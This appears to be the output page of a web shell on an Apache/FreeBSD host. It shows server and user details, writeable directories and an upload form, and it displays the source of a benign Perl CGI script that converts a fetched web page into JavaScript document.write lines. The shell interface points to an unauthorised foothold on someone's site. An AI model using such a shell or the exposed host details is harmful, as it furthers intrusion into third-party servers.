KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/nostrada/cgi-bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/nostrada/cgi-bin/URL2JS.cgi
#!/usr/bin/perl  -w

######  URL to JavaScript

####  This program reads an HTML file from an URL
####  strips the header and other unnecessary things
####  spits out Javascript print statements that can be incorporated in an HTML page

### Things I learned: 
### 1) my host uses a non-standard shebang;
### 2) you need the right permissions (duh!); 
### 3) you need the right Content-type at the beginning of the Javascript that Perl is outputting; 
### 4) you cannot break lines in a Javascript document.write statement;
### 5) you need the right script type in the HTML page that is reading the Javascript.

### Revised 3-10-05. www.nostradamus.net

use CGI::Carp qw(fatalsToBrowser); #see error messages
$|=1;  				     #STDOUT is unbuffered and will sync with error messages
use LWP::Simple;

$content = get("http://nostrada.unixcab.org/wsm/leiners.cgi");
die "Where's that URL?" unless defined $content;

### modify the string

#special string for regex

$_=$content;

m/BODY/s;  #find the first BODY
$_=$'; #save what's to the right of BODY

m/>/s; #find the next greater-than
$_=$'; #save what's to the right of greater-than

m/<\/BODY/is;  #find the </BODY
$_=$`; #save what's to the _left_ of closing BODY

s/'/&\#39\;/g;   #apostrophes confuse Javascript, change 'em all

#8-23-2007 I changed '</' to '<\/' to keep from confusing newer browsers.

s/<\//<\\\//g;

$content=$_;  #save string back to $content 

### start output
print "Content-type: text/javascript\n\n";

### this is the good part

$left = "document.write('";
$right = "')\;\n";

print $left;
print join $right . $left, split (/\n/, "$content"); #I've added parens
print $right;

######################################################

##### here for reference
# use this to keep a DOS window open . . . 
#print "I'm keeping the window open";
#$fake=<STDIN>;

#####   here for reference
#document.write('your html code here');
#print "document.write('foo')\;";

##### a test string that can be put at the top
#print "document.write('THIS CAME FROM URL2JS.cgi')\;\n";

Anon7 - 2021